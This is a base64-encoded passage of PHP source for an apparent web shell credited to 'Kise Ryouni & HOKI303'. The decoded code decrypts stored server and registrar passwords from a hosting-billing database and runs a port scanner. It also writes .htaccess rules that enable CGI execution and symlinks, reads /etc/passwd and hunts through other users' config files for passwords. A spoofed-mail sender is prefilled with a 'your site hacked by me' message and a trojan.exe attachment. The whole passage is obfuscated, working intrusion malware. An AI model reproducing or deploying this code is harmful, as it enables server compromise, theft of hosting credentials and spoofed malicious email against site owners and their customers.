T0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnaG9raTUnXSE9JycpewokZGJfaG9zdD0oJF9QT1NUWydob2tpNyddKTsKJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2hva2kzJ10pOwokZGJfcGFzc3dvcmQ9KCRfUE9TVFsnaG9raTQnXSk7CiRkYl9uYW1lPSgkX1BPU1RbJ2hva2k1J10pOwokY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2hva2k2J10pOwplY2hvIF9fcHJlKCk7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRxdWVyeSA9IG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7CiRudW0gPSBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5KTsKaWYgKCRudW0gPiAwKXsKZm9yKCRpPTA7ICRpIDw9JG51bS0xOyAkaSsrKXsKJHYgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeSk7CiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOwplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VHlwZTwvZm9udD48L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+QWN0aXZlPC9mb250PjwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkhvc3RuYW1lPC9mb250PjwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SXA8L2ZvbnQ+PC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcm5hbWU8L2ZvbnQ+PC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPjwvYj4iKTsKZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5QYXNzd29yZDwvZm9udD48L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+PC9iPiIpOwplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQokcXVlcnkxID0gQG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7CiRudW0xID0gQG15c3FsaV9udW1fcm93cygkcXVlcnkxKTsKaWYgKCRudW0xID4gMCl7CmZvcigkaT0wOyAkaSA8PSRudW0xIC0xOyAkaSsrKXsKJHYgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSk7CiRyZWdpc3RyYXIgPSAkdlsncmVnaXN0cmFyJ107CiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsKJHZhbHVlID0gZGVjcnlwdCgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKXsKJHZhbHVlPTA7Cn0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjxjZW50ZXI+Iik7CmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+UmVnaXN0ZXI8L2ZvbnQ+PC90ZD48dGQ+JHJlZ2lzdHJhcjwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+U2V0dGluZzwvZm9udD48L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+VmFsdWU8L2ZvbnQ+PC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPjwvYj4iKTsKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0KfQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj50YmxzZXJ2ZXJzIGlzIEVtcHR5Li4uITwvZm9udD4nKTt9Owp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpcG9ydHNjYW5uZXIoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQb3J0IFNjYW5lciB8PC9kaXY+PC9wPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3BvcnRzY2FubmVyXCcsbnVsbCxudWxsLHRoaXMuc3RhcnQudmFsdWUsdGhpcy5lbmQudmFsdWUsdGhpcy5ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InkiIHZhbHVlPSJwaHB0b29scyI+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkhvc3Q6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+UG9ydCBzdGFydDogPC9kaXY+IDxpbnB1dCBpZD0idGV4dCIgc2l6ZT0iNSIgdHlwZT0idGV4dCIgIG5hbWU9InN0YXJ0IiB2YWx1ZT0iODAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+UG9ydCBlbmQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjgwIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob2tpMiddKTsKJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob2tpMyddKTsKJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9raTQnXSk7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2hva2kzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydob2tpMiddKSl7CmVjaG8gX19wcmUoKTsKJHBhY2tldENvbnRlbnQgPSAiR0VUIC8gSFRUUC8xLjFcclxuXHJcbiI7CmlmKGN0eXBlX3hkaWdpdCgkcGFja2V0Q29udGVudCkpJHBhY2tldENvbnRlbnQgPSBAcGFjaygiSCoiICwgJHBhY2tldENvbnRlbnQpOwplbHNlewokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGVudCk7CiRwYWNrZXRDb250ZW50ID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxcciIsIlxcbiIpLCBhcnJheSgiXHIiLCAiXG4iKSwgJHBhY2tldENvbnRlbnQpOwp9CmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspewokc29jayA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwppZigkc29jayl7CnN0cmVhbV9zZXRfdGltZW91dCgkc29jaywgNSk7CmZ3cml0ZSgkc29jaywgJHBhY2tldENvbnRlbnQuIlxyXG5cclxuXHgwMCIpOwokY291bnRlciA9IDA7CiRtYXh0cnkgPSAxOwokYmluID0gIiI7CmRvewokbGluZSA9IGZnZXRzKCRzb2NrLCAxMDI0KTsKaWYodHJpbSgkbGluZSk9PSIiKSRjb3VudGVyKys7CiRiaW4gLj0gJGxpbmU7Cn13aGlsZSgkY291bnRlcjwkbWF4dHJ5KTsKZmNsb3NlKCRzb2NrKTsKZWNobyAiPGNlbnRlcj48cD5Qb3J0IDxmb250IHN0eWxlPSdjb2xvcjojREUzRTNFJz4kaTwvZm9udD4gaXMgb3BlbjwvcD4iOwplY2hvICI8cD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDt3aWR0aDo1MCU7Jz4iLiRiaW4uIjwvdGV4dGFyZWE+PC9wPjwvY2VudGVyPiI7Cn0KZmx1c2goKTsKfQp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpY2dpaHRhY2Nlc3MoJG0sJGQ9JycsICRzeW1uYW1lPWZhbHNlKXsKJHJlYWRtZSA9ICIiOwppZigkc3ltbmFtZSl7JHJlYWRtZT0iXG5SZWFkbWVOYW1lICIudHJpbSgkc3ltbmFtZSk7fQppZigkbT09J2NnaScpewokY29kZSA9ICIjQ29kZWQgQnkgS2lzZSBSeW91bmkgJiBIT0tJMzAzXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5ob2tpXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmhva2kiOwp9ZWxzZWlmKCRtPT0nc3ltJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBLaXNlIFJ5b3VuaSAmIEhPS0kzMDNcbk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXgga2lzZXJ5b3VuaS5waHRtXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDQgcGh0bWx7JHJlYWRtZX1cbk9wdGlvbnMgYWxsIjsKfWVsc2VpZigkbT09J3NodG1sJyl7CiRjb2RlID0gIk9wdGlvbnMgK0luY2x1ZGVzXG5BZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWwiOwp9CkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOwp9CmZ1bmN0aW9uIGhva2liYXNlZGlyKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPgo8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOwokcGFzc3dkID0gX2hva2lfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYoaXNfYXJyYXkoJHBhc3N3ZCkpewokdXNlcnMgPSBhcnJheSgpOwokbWFrZXB3ZCA9IGhva2lNYWtlUHdkKCk7CiRiYXNlZGlyID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZihfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7CiRiYXNoID0gImZaQlBTd014RU1YUHphY1l4OWp1Z2t2WTlsYnBUUTllRlU5TldkWWsyd1lrV1pLc2dtdSt1OU5hUzhFL2N3Z0RML04rTSsveVFqeGJKK0tPM2Q0L3JIak51c0dwWkwyRG1FSVRUUC9TS2xPVUl3T3FOVlR2Z0x4RzJNQjBDc0drSVRpb3o3WDVQOXJpTjYwaHpoSFR2TFluNUlvWGZiQXVkWUJYVVVxSFg5d1BpRVpEWlFDajRPTTgwN1BJWW92bHdldkh4UGlIZTBhV21WRTdmN0JhUzRXczh3RXNXQWU4VUVPQ1NpK2g2bW9RSmluUnR6Rys2ZklHdEdlVHA4YzdDcW80aTRkQUZCN3h4aUdha1BkZ1N4dE42T3hBL1g3Z2VQazNVdElQaWRkTWUyZE9lOHdRTjdOUCI7CiR0bXBfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmhva2kiLCRiYXNoKTsKJGJhc2hfdXNlcnMgID0gaG9raUV4KCJjZCAiLiR0bXBfcGF0aC4iL2hva2ljZ2lhcGk7c2ggYmFzZWRpci5ob2tpICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsKJHVzZXJzID0ganNvbl9kZWNvZGUoJGJhc2hfdXNlcnMsIHRydWUpOwokeD1jb3VudCgkdXNlcnMpOwppZigkeD49Mil7YXJyYXlfcG9wKCR1c2Vycyk7LS0keDt9Cn0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7CiR4PTA7CmZvcmVhY2goJHBhc3N3ZCBhcyAkc3RyKXsKJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiRkaXJ6ID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VybmFtZSwgJG1ha2Vwd2QpOwppZigoJHVzZXJuYW1lICE9ICcnKSl7CmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsKYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKJHgrKzsKfX19Cn0KZWNobyAnPGJyPjxicj4nOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gRm91bmRlZCAiLiR4LiIgcmVhZGFibGUgIi5zdHJfcmVwbGFjZSgie3VzZXJ9IiwgIioiLCAkbWFrZXB3ZCkuIiBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpewppZihlbXB0eSgkdXNlcikpY29udGludWU7CiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOwp9Cn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9CmVjaG8gJzxicj48YnI+PC9iPic7CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpbWFpbCgpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpIb2tpTnVtKDgsOSwxMCk7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoCid0ZDEnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNYWlsIFRvIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfdG8nLCAnaW5wdXRWYWx1ZScgPT4gJ3RhcmdldEBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzYwJywncGxhY2Vob2xkZXInID0+IHRydWUpLAondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwKJ3RkMycgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1N1YmplY3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF9zdWJqZWN0JywgJ2lucHV0VmFsdWUnID0+ICd5b3VyIHNpdGUgaGFja2VkIGJ5IG1lJywgJ2lucHV0U2l6ZScgPT4gJzYwJyksCid0ZDQnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdBdHRhY2ggRmlsZSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2F0dGFjaCcsICdpbnB1dFZhbHVlJyA9PiAkR0xPQkFMU1snY3dkJ10uJ3Ryb2phbi5leGUnLCAnaW5wdXRTaXplJyA9PiAnNjAnKSwKJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTQnXSkmJigkX1BPU1RbJ2hva2k0J10gPT0gJz4+JykpewokbWFpbF90byA9ICRfUE9TVFsnaG9raTEnXTsKJG1haWxfZnJvbSA9ICRfUE9TVFsnaG9raTInXTsKJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnaG9raTMnXTsKJG1haWxfY29udGVudCA9ICRfUE9TVFsnaG9raTUnXTsKJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnaG9raTYnXTsKJG1haWxfYXR0YWNoID0gJF9QT1NUWydob2tpNyddOwppZihmaWx0ZXJfdmFyKCRtYWlsX3RvLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKXsKaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpewokZmlsZSA9ICRtYWlsX2F0dGFjaDsKJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkZmlsZSk7CiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7CiR1aWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwokZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7CiRoZWFkZXJzIC49ICJUbzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7CiRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kbWFpbF9mcm9tLiJcclxuIjsKJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LXR5cGU6dGV4dC9wbGFpbjsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIlxyXG5cclxuIjsKJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOwp9ZWxzZXsKJGhlYWRlcnMgID0gIkZyb206ICIgLiAkbWFpbF9mcm9tLiAiICggIi4kbWFpbF9mcm9tLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gJ1JlcGx5LVRvOiAnLiRtYWlsX2Zyb20uJycgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKfQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsKaWYoIWVtcHR5KCRtYWlsX2Zyb20pKXtlY2hvIF9fcHJlKCk7CmZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsKaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7Cn19ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgRnJvbSAhIik7fQp9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG8gISIpO30KfQplY2hvKCc8L2Rpdj4nKTsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2l6aXBlcigpewpob2tpaGVhZCgpOwpIb2tpTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3ppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnaG9raTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2hva2kzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+U2F2ZSBEaXI6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidob2tpLnppcCIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTUnXSkgJiYgKCRfUE9TVFsnaG9raTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2hva2kzJ107CiR6aXBmaWxlID0gJF9QT1NUWydob2tpNCddOwppZigkR0xPQkFMU1snc3lzJ10hPSd1bml4JyYmX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7Cmhva2lFeCgicG93ZXJzaGVsbCBDb21wcmVzcy1BcmNoaXZlIC1QYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLURlc3RpbmF0aW9uUGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKaWYoX19ob2tpemlwZXIoJGRpcnppcCwgJHppcGZpbGUpKXsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9faG9raXppcGVyKCRzb3VyY2UsJGRlc3Rp